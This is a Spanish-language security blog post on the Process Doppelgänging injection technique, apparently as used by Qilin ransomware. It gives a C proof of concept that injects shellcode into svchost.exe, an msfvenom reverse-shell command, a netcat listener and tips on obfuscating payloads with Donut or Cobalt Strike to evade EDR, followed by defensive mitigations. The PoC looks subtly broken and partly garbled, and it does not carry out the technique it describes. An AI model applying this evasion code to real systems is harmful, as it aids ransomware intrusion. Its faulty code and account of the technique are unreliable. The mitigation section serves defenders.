Reportes de Trend Micro confirman ataques a hospitales y fábricas en Europa y Norteamérica, explotando esta técnica para tener éxito en el cifrado y exfiltración de datos, lo que viene siendo ransomware. En este post, diseccionamos un poco process Doppelgänging y proporcionamos una PoC en C para un entorno de pruebas, junto con estrategias de mitigación para fortalecer las defensas.
Detalles técnicos de Process Doppelgänging
Process Doppelgänging es una técnica avanzada de inyección de procesos que evade EDRs al evitar APIs monitorizadas como CreateProcess, VirtualAllocEx o WriteProcessMemory. Aprovecha las transacciones NTFS y funciones nativas de Windows (NTDLL) para cargar código malicioso en memoria sin tocar el disco. Los pasos clave son:
- Crear una transacción NTFS: Usa NtCreateTransaction para establecer un entorno transaccional que no persiste en disco.
- Crear una sección de memoria: Con NtCreateSection, se reserva una región de memoria ejecutable para el payload.
- Mapear el payload: El código malicioso (por ejemplo, un shellcode de Qilin) se escribe en la sección usando NtMapViewOfSection.
- Sustituir un proceso legítimo: Se inicia un proceso como svchost.exe en estado suspendido, y su contenido es reemplazado por la sección maliciosa.
- Ejecutar el payload: Al reanudar el proceso, el código malicioso se ejecuta sin crear hilos adicionales.
Qilin utiliza esta técnica para inyectar un shellcode que establece conexiones C2 cifradas (a menudo vía Tor) y ejecuta su rutina de cifrado. Eludir los hooks del EDR se logra porque las transacciones NTFS no generan eventos de escritura en disco, y el uso de NtMapViewOfSection evita las APIs estándar de inyección.
Explotación práctica
Para un red team, emular Process Doppelgänging requiere precisión y un entorno controlado (como una VM Windows 11 aislada). A continuación, un PoC en C que implementa la técnica, inspirado en investigaciones de DeepInstinct y adaptado para simular el comportamiento de Qilin:
#include <windows.h> #include <ntdll.h> #include <stdio.h> // Prototipos de funciones nativas NTSTATUS NTAPI NtCreateTransaction(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, LPGUID, HANDLE, ULONG, ULONG, ULONG, PLARGE_INTEGER, PUNICODE_STRING); NTSTATUS NTAPI NtCreateSection(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE); NTSTATUS NTAPI NtMapViewOfSection(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG); // Ejemplo de shellcode (simula conexión C2, reemplazar con tu propio payload) unsigned char shellcode[] = { 0x90, 0x90, 0xCC, 0xC3 // NOP, NOP, INT3, RET (placeholder) }; int doppelgang_process(const char* target_path, unsigned char* payload, SIZE_T payload_size) { HANDLE hTransaction = NULL, hSection = NULL, hProcess = NULL, hThread = NULL; STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; OBJECT_ATTRIBUTES objAttr = { sizeof(objAttr) }; LARGE_INTEGER sectionSize = { .QuadPart = payload_size }; // Crear transacción NTFS NTSTATUS status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &objAttr, NULL, NULL, 0, 0, 0, NULL, NULL); if (!NT_SUCCESS(status)) { printf("Error creando transacción: 0x%X\n", status); return 1; } // Crear sección de memoria status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, §ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); if (!NT_SUCCESS(status)) { printf("Error creando sección: 0x%X\n", status); return 1; } // Mapear payload en la sección PVOID localSectionAddress = NULL; SIZE_T viewSize = payload_size; status = NtMapViewOfSection(hSection, GetCurrentProcess(), &localSectionAddress, 0, payload_size, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE); if (!NT_SUCCESS(status)) { printf("Error mapeando sección local: 0x%X\n", status); return 1; } // Copiar shellcode a la sección memcpy(localSectionAddress, payload, payload_size); // Crear proceso legítimo en estado suspendido if (!CreateProcess(target_path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { printf("Error creando proceso: %d\n", GetLastError()); return 1; } // Mapear sección en el proceso objetivo PVOID remoteSectionAddress = NULL; status = NtMapViewOfSection(hSection, pi.hProcess, &remoteSectionAddress, 0, payload_size, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) { printf("Error mapeando sección remota: 0x%X\n", status); return 1; } // Reanudar proceso ResumeThread(pi.hThread); // Limpieza CloseHandle(hSection); CloseHandle(hTransaction); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; } int main() { const char* target = "C:\\Windows\\System32\\svchost.exe"; doppelgang_process(target, shellcode, sizeof(shellcode)); return 0; }#include <ntdll.h>
Notas para la PoC:
- Compila con un linker que soporte NTDLL (por ejemplo, MinGW con ntdll.lib). Usa MinGW o MSVC con ntdll.lib. Vincula las funciones nativas dinámicamente para mayor portabilidad.
- El shellcode es un placeholder; para pruebas en el lab, podrías usar un payload generado por ejemplo con Metasploit para conectar a un C2: msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c. Conecta a 127.0.0.1:4444 y ejecuta cmd.exe. Evidentemente para un ejercicio real, ofuscaríamos el shellcode con herramientas como sRDI o Donut, o para mayor realismo, genera un payload con Cobalt Strike o un C2 personalizado que soporte HTTPS o DNS.
- Ejecuta en una VM aislada con permisos administrativos. Configura un listener con netcat (nc -lvp 4444) en tu VM. Usa Process Explorer para verificar que svchost.exe establece la conexión sin actividad de disco.
- Usa Invoke-EDRChecker o RedEye para evaluar las capacidades del EDR objetivo (por ejemplo, si CrowdStrike detecta NtMapViewOfSection). Ajusta el PoC si es necesario, por ejemplo, usando RtlCreateProcessReflection como alternativa.
Mitigaciones para azulones:
Para contrarrestar Process Doppelgänging:
- Análisis de memoria: Usa Volatility (malfind) para detectar regiones RWX anómalas.
- Transacciones NTFS: Configura alertas en SIEMs para NtCreateTransaction.
- EDR: Ajusta reglas para correlacionar NtMapViewOfSection con procesos como svchost.exe.
- Threat hunting: Busca inyecciones con KQL en Elastic: process where process.name == "svchost.exe" and memory.protection == "RWX" and event.category == "memory"
- Defensas proactivas: Limita APIs nativas con AppLocker, segmenta redes, y usa threat hunting basado en MITRE ATT&CK (T1055.013).
La técnica de Process Doppelgänging fue presentada por primera vez en diciembre de 2017 por los investigadores de seguridad Tal Liberman y Eugene Kogan de la firma enSilo, durante la conferencia Black Hat Europe 2017. Old but gold: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
El primer ransomware en utilizar Process Doppelgänging fue SynAck, detectado en abril de 2018 por Kaspersky Lab. SynAck, conocido desde septiembre de 2017, evolucionó para incorporar esta técnica en una variante más sofisticada, combinándola con ofuscación de código y otras tácticas para evitar detección, como salir si se ejecuta en un entorno de sandbox. Esta variante se dirigía principalmente a usuarios de habla inglesa mediante ataques de fuerza bruta a RDP.
Pero volviendo al Doppelgänging, si es una técnica tan "antigua" ¿cómo es posible que ransomwares actuales como Qilin o Clop sigan optando por ella?. Veamos las razones:
Efectividad renovada contra EDRs modernos:
Aunque Process Doppelgänging fue identificado en 2017, muchos EDRs (como CrowdStrike, SentinelOne y Microsoft Defender) inicialmente se enfocaron en detectar técnicas más comunes como process hollowing o inyección de hilos. Sin embargo, la detección de transacciones NTFS y el uso de APIs nativas como NtCreateSection sigue siendo un punto débil en muchas soluciones, incluso en 2025. Qilin aprovecha esto, ya que la técnica evita escribir en disco y bypass los hooks en APIs estándar (CreateProcess, WriteProcessMemory), lo que dificulta la correlación de eventos por parte de EDRs.
Baja huella forense:
Process Doppelgänging no genera archivos ejecutables en disco, lo que reduce las posibilidades de detección por firmas o análisis de comportamiento basados en escritura de archivos. En 2025, con blue teams intensificando la monitorización de actividad en disco, esta característica es invaluable para Qilin, permitiendo inyectar payloads (como su rutina de cifrado AES-256 o conexiones C2 vía Tor) en procesos legítimos como svchost.exe sin dejar rastros obvios.
Adaptación y ofuscación avanzada:
Qilin no usa Process Doppelgänging tal como se presentó en 2017, sino que ha adaptado la técnica con ofuscación moderna y payloads personalizados. Por ejemplo, según Trend Micro, Qilin combina Doppelgänging con técnicas de ofuscación de shellcode (como XOR dinámico o metamorphic engines) y el uso de herramientas legítimas (PsExec, PowerShell) para movimiento lateral. Esto renueva la efectividad de la técnica, haciendo que las firmas de detección de 2018 (como las desarrolladas tras SynAck) sean menos relevantes.
Infraestructura de víctimas desactualizada:
Muchas organizaciones, especialmente en sectores como salud y manufactura (objetivos clave de Qilin en 2025), siguen usando sistemas Windows no parcheados o versiones legacy (como Windows Server 2016). Estas configuraciones son ideales para Process Doppelgänging, ya que no requieren exploits de día cero y funcionan bien en entornos con permisos administrativos, que Qilin obtiene vía phishing o RDP expuesto.
Estrategia de bajo perfil:
A diferencia de técnicas más recientes como BYOVD (Bring Your Own Vulnerable Driver), que han atraído mucha atención de los defensores, Process Doppelgänging es menos vigilada en 2025 debido a su antigüedad. Esto permite a Qilin operar bajo el radar, ya que los blue teams suelen priorizar amenazas más nuevas. Además, la técnica no depende de vulnerabilidades específicas, sino de características nativas de Windows (transacciones NTFS), lo que la hace confiable y portable.
Éxito previo de SynAck y evolución de ransomware:
El uso inicial de Process Doppelgänging por SynAck en 2018 demostró su potencial para evadir defensas, inspirando a otros actores de amenazas. Qilin, como un grupo sofisticado, probablemente estudió estas campañas y optimizó la técnica para su infraestructura de ransomware-as-a-service (RaaS). En 2025, Qilin no solo cifra datos, sino que exfiltra información a C2s cifrados, y Process Doppelgänging facilita esta doble amenaza al mantener la ejecución oculta.
Comentarios
Publicar un comentario